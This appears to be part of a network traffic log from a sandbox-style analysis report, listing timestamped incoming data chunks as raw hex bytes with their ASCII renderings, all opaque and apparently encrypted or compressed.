2022-01-14 03:59:48 UTC	1705	IN	Data Raw: 19 80 41 93 fe ef 01 76 4d 0c 0f 07 da 3c b9 8d 40 b2 22 79 3b 43 7b 1f 59 2d cc 4a 7c a7 bc 5b 98 62 6b 21 8c cd a0 89 ad e5 33 ab 97 90 5d 35 b5 3f 2b a9 46 f2 60 46 37 45 b4 45 d6 7e d2 6e c3 bf 58 68 20 f1 04 01 fe 14 fb 4c 1e 07 c9 fc 57 f0 df 38 ed ef 2a c9 7c 47 70 86 ab 35 b8 25 51 05 74 4b e8 9f f6 e1 69 c8 68 cc da aa c0 13 c7 ac 01 9b 23 9a 9b 38 37 4a e2 08 77 00 96 31 52 8d 40 e5 53 44 d1 5c 8e 27 15 b6 fd 1f ec 2d 8d 5e e6 95 7a e8 af a0 fd 26 a4 b3 f0 ed 88 47 be 8e a0 5e 16 d2 37 ba 56 10 44 8c 5f 4f 23 15 e0 a6 bb 6a b2 d6 2f dc 44 59 05 aa 98 43 83 de 92 1c c2 c9 e0 8c fb be f1 10 e8 e7 9e 53 9d 45 7c 15 47 bb 18 d4 e2 3d d7 f3 8f 37 d0 60 27 de c1 57 b2 b6 9b 86 b2 6c ac 6d fa 2a 62 65 3c e5 49 2c 48 47 ed 9c 41 c7 68 68 26 f1 6d 6d a6 Data Ascii: AvM<@"y;C{Y-J\|[bk!3]5?+F`F7EE~nXh LW8\|Gp5%QtKih#87Jw1R@SD\'-^z&G^7VD_O#j/DYCSE\|G=7`'Wlmbe<I,HGAhh&mm
2022-01-14 03:59:48 UTC	1721	IN	Data Raw: 64 41 f5 ff b3 01 bd f8 7e 9f 68 2e 78 b9 fa 54 d8 7c ca cf 72 aa 86 80 32 03 b1 4d 67 02 f5 da cb f9 c3 2d 69 75 13 d1 d4 34 8e 8a f2 27 37 79 8a e0 c1 e2 c4 7d 33 7d 78 d2 5a 33 b4 de f4 94 e0 e7 f5 83 22 26 48 20 04 9d 9c a2 70 63 39 33 99 39 0c c3 a3 ba 27 7f 04 8d d7 07 8d 3f 7b 83 1f 8c 2d f5 f4 36 54 19 b3 95 ed 22 08 7a 67 9d 62 5e a0 20 b4 cd 7d 18 e6 c7 12 76 3f f6 2d 57 68 b2 d4 7f d0 01 06 c0 a4 86 3b 59 08 9f 32 f1 3b b2 4f 6a 8b f7 71 42 9a bd b0 86 cb a1 3c f2 de bc 85 72 06 35 94 2e b4 81 43 da 31 21 d1 d6 6e 00 a2 58 68 c4 be bc 44 6d 38 1d 86 d5 61 65 3d 28 b8 73 d7 76 36 03 36 ba aa be 91 18 15 f6 7a 9c f5 53 47 18 d1 a3 41 cc 2c 8f d1 76 51 44 ec 66 2e 38 fe f7 bc 71 b6 0c 46 7d 5c f5 d0 12 8b 52 5c 18 cb 1b 44 fe 07 86 58 d1 6c 45 6e Data Ascii: dA~h.xT\|r2Mg-iu4'7y}3}xZ3"&H pc939'?{-6T"zgb^ }v?-Wh;Y2;OjqB<r5.C1!nXhDm8ae=(sv66zSGA,vQDf.8qF}\R\DXlEn
2022-01-14 03:59:48 UTC	1737	IN	Data Raw: a8 48 7d 32 b8 3c fd ec 88 36 66 31 eb 08 7d 07 8d 7c aa 3b 70 0a 11 3c 37 f3 a0 c6 c9 1e df a1 5b 30 26 2c 76 b0 28 7b 78 3a 4f f1 fb 85 65 ed 0e 09 1d c2 01 dd 0b a7 33 27 5c ee e6 bd 98 40 5a 5b 4a 6a 8a 55 b4 7f 04 7b 44 d9 0d 80 57 b4 f3 7a dd 50 fe b5 fd 4b 10 92 d4 05 7a 03 ad 09 7b 99 c0 d9 b8 99 64 b3 88 cb 1e 02 19 d2 f4 10 88 40 93 b9 fb ab e1 50 4f bd 83 cb d8 68 43 31 3b f6 65 00 78 73 47 ae 7c 24 aa fe 7a 31 b5 bf 3b 73 95 ae 85 21 1c 56 4d fb 9b 26 1f 01 78 bc 41 e2 be e3 a5 61 b2 d8 f7 d1 ab 23 bc af 9a 9e 91 c1 91 c8 8f 22 c6 51 6e 17 9c de 04 e8 75 92 01 f4 9f 71 e3 69 9b 43 3e eb fa 8f b0 26 58 96 ac f6 7c 91 aa 88 31 5e 8d cb 64 65 b0 b5 ce b4 b2 ae 99 f1 93 c7 06 62 97 c7 71 c7 fc 53 0d 2f 9b d8 24 81 9a 21 8d 5d 8b 4d 58 ad 41 ea cc Data Ascii: H}2<6f1}\|;p<7[0&,v({x:Oe3'\@Z[JjU{DWzPKz{d@POhC1;exsG\|$z1;s!VM&xAa#"QnuqiC>&X\|1^debqS/$!]MXA
2022-01-14 03:59:48 UTC	1753	IN	Data Raw: 60 69 7a d8 cd 0d bb 8a 6b 35 a8 70 86 7f b9 af d9 20 de f6 0b 55 be dd 60 c4 45 5f 05 10 fb d3 30 b6 3e 79 9a 63 3e 1e d2 3b d3 f7 8e ae d9 d5 05 39 d4 4c 13 89 16 84 bc 8e 86 d6 26 dd 43 70 0b d8 bd 13 11 5e ef 56 1c 47 bc d7 dd 8a e1 0b de 8b 2d d6 35 c0 ad 8e d5 6d 67 1d 49 24 a7 6b 42 71 32 fd bd 57 0c 03 42 50 df 60 45 65 72 ff 7b c7 35 ec 16 59 a8 23 f7 42 da 54 62 af 58 d2 50 98 92 8c a9 72 86 e4 fa 7b 16 81 33 d4 2c 43 ef 4b c4 bd 70 3e 07 0d 76 dd 41 03 4f ab 69 c0 ed a9 47 9c 11 05 a4 f2 f3 86 1c de 7a d3 50 7b f7 41 94 dc 60 66 b2 04 fa 3f e4 b0 9f 90 07 92 0c 1c 22 e3 c4 f4 98 81 cb 61 6a e6 4c ab 8c 69 b0 a9 a2 02 d9 30 99 5d a9 85 6e fa be fc 2f a9 a9 6e a8 44 fd b2 02 b9 11 36 0b 4f 37 f3 2c 4e ca f6 18 5b 45 32 9a dd e9 bb 2d d8 53 f6 ce Data Ascii: `izk5p U`E_0>yc>;9L&Cp^VG-5mgI$kBq2WBP`Eer{5Y#BTbXPr{3,CKp>vAOiGzP{A`f?"ajLi0]n/nD6O7,N[E2-S
2022-01-14 03:59:48 UTC	1769	IN	Data Raw: 23 05 6f d2 41 c6 04 f7 36 c9 4a 2d 0d 05 38 ac c5 ed fa 49 85 9d 35 c3 51 91 20 78 5d 08 62 a0 b1 cb f1 1a d0 06 b7 74 9b 63 cb 39 ab c7 f2 de fa 17 c0 77 df ca 24 c7 12 e0 01 5e c8 66 e3 ea ea 75 cd 4a 38 b0 87 1f b9 e7 98 b4 d6 da bd fa ab e5 f3 c9 3e 36 0c 82 a0 66 70 de 10 90 6f ad 80 6e 06 10 ed 6f 33 b0 16 cd 0e 05 93 c9 98 9f 67 8e 34 bd 2b 1f ec 39 5a 7e 77 10 62 b6 9d 0f 79 43 9c 17 98 c4 76 7a 47 e5 bd ca 1f 37 71 7e f7 93 be 74 cb 4d d2 6c bb ca a7 8e b8 b5 8d 93 fd 4e 95 ae 1a c2 ba d9 e7 0c 31 3e 8f 64 89 89 5f 7c 8e 60 44 65 db 3a 69 10 61 18 e4 ae f6 3e 6e cf 24 5e 25 17 c5 d5 a9 a2 ae d5 b2 00 93 f8 3a 9f 10 63 5e f3 2b 78 1f 1d ed 82 05 f2 47 9c ed 7b 3f 09 05 ad cc c2 5a da 02 ed ff 6b d0 83 ca 86 b0 a7 ee c5 6c 55 55 c7 35 3d 5b be 92 Data Ascii: #oA6J-8I5Q x]btc9w$^fuJ8>6fpono3g4+9Z~wbyCvzG7q~tMlN1>d_\|`De:ia>n$^%:c^+xG{?ZklUU5=[
2022-01-14 03:59:48 UTC	1785	IN	Data Raw: 9e 5c 69 97 4a a9 3c 43 43 95 bd f3 6f b7 2f 1f 74 2e 9d c8 4a 25 84 9e df b6 bf 08 80 bc 6f 68 a9 b9 72 6e 22 d0 8f a9 84 f1 20 3d 40 e4 b6 54 f2 e1 1f 91 30 df e4 d1 e3 90 88 c9 bc 37 ea 3f 8b 68 ca 95 af 19 fc 5c 5e 54 99 45 36 8c 6a 54 62 27 d6 92 2d 7c 1e 1a 4b 74 b1 fa eb f4 23 1d 06 3f ee 37 46 6b f4 86 77 b7 cb ad cf fe 44 5c 90 14 8f 0d 23 43 57 60 8a 40 7f 4c 6b 97 d3 48 32 0a b9 f8 6e 89 e2 73 f7 ee e8 a9 3d 8a 4b da f7 4f 99 48 53 0a e3 6d d5 c2 f7 ce 38 80 5b df aa a4 89 68 9d 06 2c 33 9d 23 50 7e fa 57 54 da ab bd 37 44 ec ba 86 b0 d4 27 07 b4 ae 4f eb b2 31 53 51 66 5c 39 30 26 82 4d 7c b8 ea 1f 14 d3 32 2e f8 fc 52 a1 44 6d c9 14 ab 4d 10 28 b7 b2 21 b5 3c f8 e9 2a 1c 7c e4 a4 cc 8d 0d 00 85 2b 66 87 a0 14 42 a2 4d 4a 78 07 e6 9a ee 42 3e Data Ascii: \iJ<CCo/t.J%ohrn" =@T07?h\^TE6jTb'-\|Kt#?7FkwD\#CW`@LkH2ns=KOHSm8[h,3#P~WT7D'O1SQf\90&M\|2.RDmM(!<*\|+fBMJxB>
2022-01-14 03:59:48 UTC	1801	IN	Data Raw: 0c da e4 ba 6f 34 82 61 a5 58 fd 9b bf 6a 26 ec ff 5a f2 18 61 8c a7 5f 49 bd 70 95 ce 91 9d 85 df ea 56 d3 00 4e 3c 59 33 bb 15 3b f4 91 53 d3 e1 90 8a ba 50 f0 b7 4e d0 ff 8c 5b 4d 38 63 53 a9 0e 6c 5a cc 4f c5 bb 0b 39 4d 17 4c 38 ba 61 bd 48 bf 72 d2 5d 68 b1 09 3c 5a 71 3c 4e 9a 4d 5e e1 86 cf 12 5b 03 a6 41 e1 0e de 9c 2f 7e 89 3c 58 be 67 85 9c 2d 48 1f 31 98 0d 00 df 83 6c e6 1f 6c c9 ee 88 f3 b9 d7 a0 40 62 b2 79 b5 5c 51 bf cc 75 56 2d aa fa 5d ce 2c d7 b6 b4 54 31 85 3b 96 e7 33 93 d3 df 69 fe 30 5e f6 d8 98 31 79 78 f6 fe 30 40 9e 05 c3 a6 fc fd 2a 2c 35 80 a2 53 19 b5 39 34 9c 98 fb 23 58 5e ae f3 c9 11 96 da bd 2f b2 17 ce 46 ac a8 54 bc 11 38 cb a8 59 6e 97 85 d3 e2 9d 3b d0 d0 24 3f 5d 18 d7 9c 3e 41 15 dc 82 b7 31 b4 47 d1 f9 3e a7 a0 a1 Data Ascii: o4aXj&Za_IpVN<Y3;SPN[M8cSlZO9ML8aHr]h<Zq<NM^[A/~<Xg-H1ll@by\QuV-],T1;3i0^1yx0@*,5S94#X^/FT8Yn;$?]>A1G>
2022-01-14 03:59:48 UTC	1817	IN	Data Raw: 8b 2d 07 af ad ca 6a 56 e8 de 24 62 78 75 3e 76 fa 77 8e 29 58 0d 78 1c 94 8d 1f 02 4f e2 d2 c4 16 20 4e 9f 89 44 85 f2 3b 23 f6 3c 29 a5 db b4 e7 95 91 dc 66 50 47 c2 bc d7 0f aa 4c 1f 97 cb 71 bf 21 b1 00 f5 44 a6 b8 e5 65 a7 23 ec e2 26 8f c0 e6 cb 08 9f c8 a6 5d 3f 25 ce 05 47 57 2b 2f 24 6e 9a 8f 14 2d df 1d 72 d8 71 95 94 44 e4 c5 db 85 07 b8 1f 53 87 6c 8c 95 d5 24 17 32 78 1e fd be 58 1e af aa 8f 95 c7 92 49 4f a0 b3 9d 5f 4f 63 d3 6f 23 8e 94 44 23 62 1b 67 7b 6c 0a f9 99 b1 84 7b 41 97 cc 39 6d 49 c1 45 5b 32 aa b5 3c e5 8f 0d ed 13 90 95 c2 07 96 30 f3 22 0b c6 92 56 17 6b c6 ed d3 27 e2 53 46 90 8a fc 6a e6 11 8f b4 b2 83 9d 33 49 a5 6c ee e1 f6 15 be 5b 0a 75 77 58 48 09 89 7c a8 57 60 fe bd d1 5c 90 9a 6b fa 79 89 60 e9 67 70 41 36 0b 88 86 Data Ascii: -jV$bxu>vw)XxO ND;#<)fPGLq!De#&]?%GW+/$n-rqDSl$2xXIO_Oco#D#bg{l{A9mIE[2<0"Vk'SFj3Il[uwXH\|W`\ky`gpA6
2022-01-14 03:59:48 UTC	1833	IN	Data Raw: 7c 28 25 7b 89 64 8e 7b d0 bb 74 b8 0b 41 8a 03 e1 da 51 aa 83 37 40 f9 b5 5f e2 da fa d3 71 5f 2f d8 cb 30 1e 3a c8 b2 76 05 ff e8 c5 32 81 b0 58 e7 10 e1 d8 87 d0 1b 11 80 ec 23 b5 34 49 90 e1 72 7d 8b e2 e0 47 3a 90 67 c5 fd 63 2d 44 01 d3 ff 03 84 42 4d e1 d4 3a 87 66 bd 60 ed 1c 10 f7 f8 b9 80 a1 c2 33 f3 0b 79 19 a2 8d c1 95 68 00 9a e6 5e ee 92 a5 2b 97 9d 93 b3 7f 08 92 f8 68 09 14 44 7a 72 1e 31 38 e5 ad 1b 29 f4 a5 e1 29 d3 eb 87 81 e8 c8 42 3b 06 d8 ab ed 78 3a 11 97 27 22 d0 64 26 a7 dc 72 c4 33 35 5d 66 16 be 50 34 d0 46 30 cb a5 1f d0 e7 ab 93 1f 81 31 7e 91 af 80 21 35 18 05 fa d2 56 47 b3 48 79 9b 16 76 6d 56 1e f9 db 13 9c e9 0d 1e bc 6e 98 4b 07 84 cc 00 3c 25 e8 ed b3 07 0f 7c 5a ac 49 cc aa 82 95 36 fb 25 d9 c8 98 3c ca e9 5e 10 64 9c Data Ascii: \|(%{d{tAQ7@_q_/0:v2X#4Ir}G:gc-DBM:f`3yh^+hDzr18))B;x:'"d&r35]fP4F01~!5VGHyvmVnK<%\|ZI6%<^d
2022-01-14 03:59:48 UTC	1849	IN	Data Raw: 86 79 c3 42 e9 34 db 28 77 e8 35 c6 5f 90 5d 28 cb 6f 91 c9 0c 7a 62 98 db 67 9a b0 4a 92 9c 80 0f 1f 93 b6 04 ab 3d 84 00 97 2f c0 34 b7 5b 53 50 e3 b9 67 17 50 9f e1 4e 6c 31 6a 95 59 fd c7 6d bc 68 97 48 0a 5a d8 57 cb 85 5e 90 b2 30 46 4c 48 2d ac a7 92 ee 9f 9c a3 59 e4 6c 96 cd 37 16 b3 d1 dc 1f 57 7c 63 64 df c1 19 87 ae 82 4e af 8f 6e 57 21 c1 ad ac db 1b e2 69 eb 77 37 6a 5e 9f ab 12 be bb 54 c7 66 a0 51 8c bf e6 17 04 8a 2d 29 ad 4e b6 48 a3 40 9f 53 fd f7 5a c3 cd 99 80 df fa 95 7b ea 0f 64 bb 35 18 c1 da 0e e6 f5 71 5e 93 61 49 3d 21 9d c4 60 19 11 51 02 ea 12 68 c1 f0 9e 18 bb 22 c8 5e a2 48 3f e9 bd f1 66 75 c3 88 76 03 ed 81 70 81 70 38 71 86 01 83 c6 d2 77 c9 c1 a7 0e 69 f3 19 78 d8 fb 69 bc 8e bd 1c ca e0 76 69 e7 3c 07 bc 71 78 24 6b f5 Data Ascii: yB4(w5_](ozbgJ=/4[SPgPNl1jYmhHZW^0FLH-Yl7W\|cdNnW!iw7j^TfQ-)NH@SZ{d5q^aI=!`Qh"^H?fuvpp8qwixivi<qx$k
2022-01-14 03:59:48 UTC	1865	IN	Data Raw: e6 98 a2 84 83 18 bc 5b fe f1 3b 76 3a f4 df 08 e0 86 41 71 d7 1d 70 22 33 c3 85 5e c4 c3 1d 16 78 4f 0d 05 1c 18 94 95 1a 76 8a 73 b1 b3 e4 e1 0f de a3 45 12 7a a2 9a 02 d7 a5 97 de d6 a9 8d 34 7d a9 c1 ae 44 75 9f 97 1c b5 a0 82 41 cf ed cd 9f ea 4b 83 a3 1b 75 0f f4 e0 9e 46 12 04 3e 73 d9 92 cb 88 e2 f7 49 ee 63 1a 0e ab d5 26 04 bf 66 49 7a 3f 70 b5 11 87 fd 8b 57 77 7e 1e 29 c6 a9 a4 ec 20 e3 99 9b 01 9a e8 43 2b 1c 06 2b f9 57 a5 b5 4b 63 3e 7b b5 7c cc fe 2f 33 09 41 b5 52 ce bd d7 40 26 c6 34 ed d7 93 95 43 25 98 96 71 ec 7d bc ea 0d ee c6 15 4c 0a e6 ba 70 5e 38 99 1c 16 87 3e 70 3f d6 75 da e2 63 00 39 b1 4c 24 de c3 40 aa 14 e5 b4 2b ff 2d 6e da ec 1d b6 e1 13 01 fa 47 38 a5 46 ed 11 23 64 3e 44 f1 86 a7 42 6f 85 aa fe 3f e6 08 77 72 e1 0d 3d Data Ascii: [;v:Aqp"3^xOvsEz4}DuAKuF>sIc&fIz?pWw~) C++WKc>{\|/3AR@&4C%q}Lp^8>p?uc9L$@+-nG8F#d>DBo?wr=
2022-01-14 03:59:48 UTC	1881	IN	Data Raw: cd 61 fc d2 a1 21 96 c2 12 77 3c bb 12 eb 90 4a ae fe 2c 20 1f 6b 4f 56 1c 77 20 c5 ef 53 84 b5 49 ab 53 0d 00 9b 96 f3 34 38 c0 c1 6c 49 91 7f c2 8e b7 f3 e6 29 9f 58 7c 44 9f c0 e3 3e e6 46 6a 86 3a 85 ca 06 d1 a6 db 4c 99 5e cd f5 a3 4d 96 dc ac 09 29 1e 69 c3 d8 eb 74 f4 04 54 33 b9 82 db 54 57 0d 09 b0 67 7d f2 21 8d 05 df 5d 66 56 b4 e2 80 50 ed 4f e6 5d 5c 96 ee 2d 4d 68 3a 94 a4 9a 9d 7e e4 23 b5 dd 1c 02 b4 7c 23 0d fd 4e 46 d8 90 b6 43 8b 30 29 16 2f cd fc d3 8e e0 32 f6 1c 53 f3 0f c5 7c d0 74 d7 45 af 80 9e 6c 75 44 31 1f 82 e4 dd 34 c3 11 1b dd ac 95 cd dc c7 d7 a9 93 30 dd a7 db c7 02 9d 2d fa b2 83 15 36 e4 b2 6e 9f 51 f7 12 fe c1 ea 92 1f b5 89 ba 91 b9 bc 9d b1 ac b1 8d 70 66 ff 1d a5 e1 3d c8 1c 9f 89 6c 05 98 53 38 75 2f 30 9c 2b bd 60 Data Ascii: a!w<J, kOVw SIS48lI)X\|D>Fj:L^M)itT3TWg}!]fVPO]\-Mh:~#\|#NFC0)/2S\|tEluD140-6nQpf=lS8u/0+`
2022-01-14 03:59:48 UTC	1897	IN	Data Raw: a0 74 79 c3 b6 37 7c b4 79 a8 22 c8 98 f1 76 3e a4 b2 d3 22 60 89 62 a7 4f 46 78 41 c4 c5 e1 40 2e c8 00 ae 4b 7d 10 58 f3 57 ea 2a bb 38 e9 27 af f4 4a e7 36 1d 21 57 ac 8b dc 9f 6d 41 d6 eb ef b8 23 c6 27 c8 10 66 c1 62 b4 93 8a 4f 9c 11 e0 54 96 1a 76 f6 3d 06 91 c1 70 cc be 5d db e2 57 c8 a1 ec ff 99 ef 6a a1 28 3a 5c f0 ad 93 e0 30 52 de 5b 2f c2 07 bf eb 78 b3 8d 4f 77 d4 1b 57 7d c0 a7 ee fd 28 c1 33 b5 d3 a5 88 1c 17 5c c1 c8 fc 4e 36 f4 68 b8 0b 86 40 36 4b 24 da 82 ce 6a cc 88 be 0f 1b 91 23 9a 73 cb c4 ec fc 59 13 4f 86 23 13 bb a1 82 15 db 3d cc 9a 79 9a 87 21 46 40 90 e7 1f ea 19 28 16 fd b3 ec 21 a8 1d 2f 08 ad 7e d5 c2 c1 06 68 a1 fb 5b 67 d3 2b 0a 29 a9 0d 92 e5 4c 16 8d 08 ed 93 7f 74 59 aa 28 fe 9b e2 dc d4 c2 98 97 19 4b 75 d6 39 9e d4 Data Ascii: ty7\|y"v>"`bOFxA@.K}XW*8'J6!WmA#'fbOTv=p]Wj(:\0R[/xOwW}(3\N6h@6K$j#sYO#=y!F@(!/~h[g+)LtY(Ku9
2022-01-14 03:59:48 UTC	1913	IN	Data Raw: d7 c7 51 62 e7 a0 5f ea a5 84 54 f0 4c 23 71 e5 25 dd 15 f9 f9 a8 42 ee e9 89 eb 79 d0 51 fb 25 a4 69 96 c7 c5 52 b7 0c 94 75 b8 7c 4e 1a 60 b0 2e 33 4e fe 50 bf f5 95 ca 52 c1 db ee f7 54 bb 37 b2 ce 73 df 65 ac ba e6 54 5d 7d 50 06 30 75 aa 85 70 d5 ae 5b 16 4e 0e e6 61 16 95 a9 c4 8c 61 cd 28 19 a7 d1 0b f8 53 a0 18 ea bd af 0a f0 f5 a2 04 33 1e 44 9e a8 d4 11 fc 21 bd 1a c8 1d 6b 3b ec cf 42 a0 4e e2 bb 1e ba 70 55 5f 2c 16 b7 80 26 9c 0e bb d5 4c 64 72 b5 15 9b 66 44 91 8c f5 fc ae 03 2c 90 0c ba 11 5e 00 d1 e1 6e f8 20 ce 79 a5 2a 9b 45 5c 44 87 14 e1 e1 6c d3 9d 40 f4 41 df b2 04 8f 1a 74 73 8b 18 f4 43 43 71 48 96 f9 cd 5e b5 ba 8f c7 c0 aa 0c d6 64 bc 7b 8e 03 04 80 10 4f 09 ba 8e 7a 52 1c 74 83 39 a3 2c b2 e8 14 b4 e1 23 7c 4e e1 2b 6a 37 b8 1f Data Ascii: Qb_TL#q%ByQ%iRu\|N`.3NPRT7seT]}P0up[Naa(S3D!k;BNpU_,&LdrfD,^n y*E\Dl@AtsCCqH^d{OzRt9,#\|N+j7
2022-01-14 03:59:48 UTC	1929	IN	Data Raw: 2b d7 de a2 7c 40 76 84 94 af 93 8c c7 0e 70 ff 4d ae f0 57 01 4d 58 e2 a3 2e 67 9b bc 81 04 cd 08 04 af ec 4c 01 bb 57 aa 41 b8 e4 76 93 e4 87 18 7d bf 5e f1 a0 a6 db 92 7b 16 33 08 0f 84 01 47 02 c2 b8 74 b0 a3 33 4b e4 2e 73 34 ab de f3 d4 80 6f 75 a2 35 2a e5 41 fc 18 21 27 d6 ef cd 62 46 d5 46 6d 06 6e dc b8 00 30 a6 02 e2 16 9e 7e 74 66 bb eb e3 1e 2c 4f 11 8f a8 8e e0 c9 25 24 08 45 dd 23 a0 86 5b 84 27 ba 15 9d 3f 16 ba 1f 9d 70 24 da c9 8a 78 11 99 10 ef 86 fd a0 02 cb da 09 12 d7 0e e3 e5 2e 1b 1a f2 a5 7a 7d 10 a9 5e aa c7 93 0a 81 d7 a3 ff 7d d4 5f 2d 21 46 e7 de 76 7a 13 17 7f db 15 45 44 18 80 e1 f9 95 cb 5a 90 a3 cc b1 15 ae 87 48 b7 be 08 8b 7e 8e 56 e4 bf ff 36 e7 b7 a5 fb a7 38 62 81 da dc 71 cb c5 1a fc c2 d2 36 94 08 15 88 7d 99 69 3b Data Ascii: +\|@vpMWMX.gLWAv}^{3Gt3K.s4ou5*A!'bFFmn0~tf,O%$E#['?p$x.z}^}_-!FvzEDZH~V68bq6}i;
2022-01-14 03:59:48 UTC	1945	IN	Data Raw: ea 72 f8 f4 bf cc d3 ae 7f 74 6b e5 49 3f 88 23 29 73 33 c9 f7 f7 09 d4 f8 3a 50 17 a0 5d 84 16 f4 e6 39 02 46 b5 cf 3b 53 ab 81 5b 39 e3 e2 30 c7 96 b8 15 26 7a 53 55 56 ff 38 4e 1b 58 3a ba 4a 61 d1 bc 08 f3 2b b4 e8 18 0d 54 68 f3 2c 6e 5a aa 78 61 0e c0 ad 5f 86 a1 4e 80 58 7a f1 74 2a 8c 1a f4 3b bc 6a 5a de c2 85 5a 63 a5 19 83 9f df 27 e5 7e 89 bf fa 11 1c 39 99 e0 79 05 78 0b c3 7c 83 a9 7e d8 a3 f5 c5 a3 a0 69 17 30 2d e7 9b ed ee a5 89 7e 91 78 72 58 43 7f 3b c1 e6 42 8e 54 37 32 c7 e4 94 b1 5f 0a 04 a6 48 8e 11 68 63 ad 2a 8a 13 85 a3 7a db e5 da e8 72 6d bd 05 a2 e7 12 61 63 25 98 bb 6c 9b 8f 9b 4d d2 ec 62 b0 67 a3 30 17 f6 ae e7 90 d6 a5 9b 17 ab c7 44 55 e4 dd 4c 18 b1 37 02 df ee af db 3b 10 dc bb 10 06 8e 68 1f cf 15 f7 4c 16 bf e1 af c6 Data Ascii: rtkI?#)s3:P]9F;S[90&zSUV8NX:Ja+Th,nZxa_NXzt;jZZc'~9yx\|~i0-~xrXC;BT72_Hhczrmac%lMbg0DUL7;hL
2022-01-14 03:59:48 UTC	1961	IN	Data Raw: 4b 40 1b 88 b6 44 2a 51 d0 b9 1c 10 d4 5e 1e 4c 59 00 50 06 53 4f 9b 25 68 39 48 1a ed fb 4d 2e fa ce 62 6d 77 62 cf 70 77 9e eb 80 95 3e ed a8 10 d5 c9 6b ac 52 fb ec fd c7 8c 98 ac 32 a8 b1 17 d9 77 84 7a 2c 81 d2 33 5e 3e 2a 8f b7 70 33 5c 35 76 00 41 46 a6 f5 7d 65 b3 31 74 b7 b8 20 79 a5 54 20 bf 4d 4f 0f 34 73 0d 3c 20 b4 7d 56 23 50 d4 c3 af 9f 17 b6 ca 8d 4b ac 2b 03 14 81 97 1f 45 4e 03 0f b8 36 cb f2 7e 4a 14 8b 4f 32 bd 4e 50 3e 38 91 65 2a e9 9d 40 9e f0 c4 50 5f 50 ab 36 be 62 6d 73 8a 82 21 f4 a7 ac 58 c7 c4 ee be 76 98 da db 24 f0 35 60 26 23 05 2d da 97 cd 5e 52 e7 ef 60 a4 e0 9a d5 d2 4b a7 e7 de 54 19 a7 96 c5 89 c5 f4 a3 11 1c 3f 2f e2 04 0d 04 82 3e 2b 9e 42 e6 e0 13 aa 08 c7 84 3b 13 d7 a8 d3 c7 ac 4d 1c 59 e7 c6 47 04 40 fb 4d 48 8f Data Ascii: K@DQ^LYPSO%h9HM.bmwbpw>kR2wz,3^>p3\5vAF}e1t yT MO4s< }V#PK+EN6~JO2NP>8e*@P_P6bms!Xv$5`&#-^R`KT?/>+B;MYG@MH
2022-01-14 03:59:48 UTC	1977	IN	Data Raw: 80 b2 ae 13 98 7b 40 14 7d 84 91 44 1e 11 40 62 6a 13 8d 9a 1e 51 37 b9 53 b7 2a 34 b4 fc ff d4 c3 07 35 8b 5a 56 d7 5c a3 8b 36 a5 dc c9 2c 73 d1 02 d6 7e d2 42 56 6d fb 9f 37 ef 15 d9 0c 1f fd 3e 44 b4 60 f0 11 f7 d4 a0 24 0e 7e 27 be 07 72 ed 80 91 6b cd 3f 9d e4 08 f2 48 0f d8 7b 5b e6 11 d0 0f 11 e1 b5 b1 0d 3f d5 c0 0a c5 34 77 19 3f 6a 93 af fb d9 6b ba dc 38 77 2c 14 79 97 1f 59 59 c9 b8 e0 1d 54 e0 86 e4 7a 7b 3b 0f f5 21 96 2a 02 29 ee 22 02 12 bd 6c 6f a0 48 e4 b2 24 29 c5 f5 fe d4 a4 a9 3b d4 35 65 83 48 2a 87 d6 7f fd b2 87 40 4a ea 5b 54 21 5d 54 0c fc 36 4c f0 72 89 e9 c0 af 47 24 b8 22 ab b0 b7 98 0c 77 8c 0e 83 53 7b a5 74 9f c1 89 ca d0 33 1b c6 3a 84 ee 56 90 c6 61 10 33 ae 5a 1f b6 8c 43 96 f5 71 00 e7 75 3d 07 bb a6 d6 46 7a 72 a8 ef Data Ascii: {@}D@bjQ7S45ZV\6,s~BVm7>D`$~'rk?H{[?4w?jk8w,yYYTz{;!)"loH$);5eH*@J[T!]T6LrG$"wS{t3:Va3ZCqu=Fzr
2022-01-14 03:59:48 UTC	1993	IN	Data Raw: 01 ed bf 2c c7 31 ac 60 ed 7e 0c 4a 1d a5 aa c6 94 d2 ee b7 bd 38 b7 51 6d 39 33 5e e4 91 33 6f ba cb 05 82 98 5b 61 8e 43 25 a5 e5 a9 74 df f8 b7 ea c2 ee 6c ed a5 cc a3 3a da 18 d4 7a 1c f6 f0 ab d7 36 fb c4 79 4e b4 52 2c 73 46 fb e7 c5 d1 1e 95 8a c2 a7 d7 d6 cc 54 d4 bb e7 18 b7 47 db 37 ed 41 b7 00 e0 bd 07 59 95 c4 c6 a0 fe 67 99 e8 a8 a8 d9 a2 39 55 93 ff 13 46 2c 87 16 4c 73 24 c3 3e e6 4e 4b d9 57 29 fa 43 96 56 a5 56 72 e0 27 3b ae af f4 91 8f d2 24 9e 60 7e fc 28 61 e0 26 cb 99 3f d1 c5 fb 7c 70 d5 bb 44 e9 e3 6a 79 76 bd df 5a 39 29 a5 7c 04 cd 45 cc d1 f4 73 b3 58 b5 60 b5 1d d0 56 d2 2d ea cb b3 d3 be b9 50 ec fb a3 3b cc cf 7e b7 25 f6 35 ef cf 74 9e e7 af 80 95 b1 c9 cb 99 83 45 98 fa 89 78 23 1b c8 9f c8 13 0f 1f 23 66 da cc df 29 d2 43 Data Ascii: ,1`~J8Qm93^3o[aC%tl:z6yNR,sFTG7AYg9UF,Ls$>NKW)CVVr';$`~(a&?\|pDjyvZ9)\|EsX`V-P;~%5tEx##f)C
2022-01-14 03:59:48 UTC	2009	IN	Data Raw: d3 a6 fc 65 08 7e 23 d6 3a 87 b8 b3 0d 07 ed 0d 70 03 bf 51 ec fa ac 47 b1 13 28 18 1f ed 75 d7 6d 10 3b 14 66 06 0c 06 57 0b 28 63 d3 33 80 e7 ba 46 18 be 19 05 c6 ff 49 31 cf e3 34 db d2 08 a2 3e 41 20 ff 21 2b 67 f7 e5 68 6a a6 16 a4 4b c9 02 f1 aa e5 aa 19 2a 63 d6 80 83 47 d3 87 39 e1 b3 13 b7 d1 51 fb 80 78 6a 63 19 f1 a6 12 75 34 b0 1d 84 62 fb 21 c2 e3 e6 1f 67 60 8f 79 ad ed 90 b0 e7 1c dc 25 55 88 08 04 24 03 73 e4 2a 00 a9 a6 3d 4a d9 aa 20 8f 5e 9f d0 3a f9 a7 5b d3 02 f2 20 d5 1c e4 28 12 4e 87 9d a2 c6 b8 39 96 30 1c f2 1f 9b d3 6c 6d a0 78 45 d1 44 72 46 54 52 5b 89 65 95 12 f2 b7 77 36 b1 88 b9 b1 f3 cd 2b 24 5a 1a 4f ac 46 cc 07 b5 aa 45 d1 c4 c5 40 42 04 14 d2 00 c4 f6 45 1e 46 35 17 11 e1 1b 0e f1 d0 db 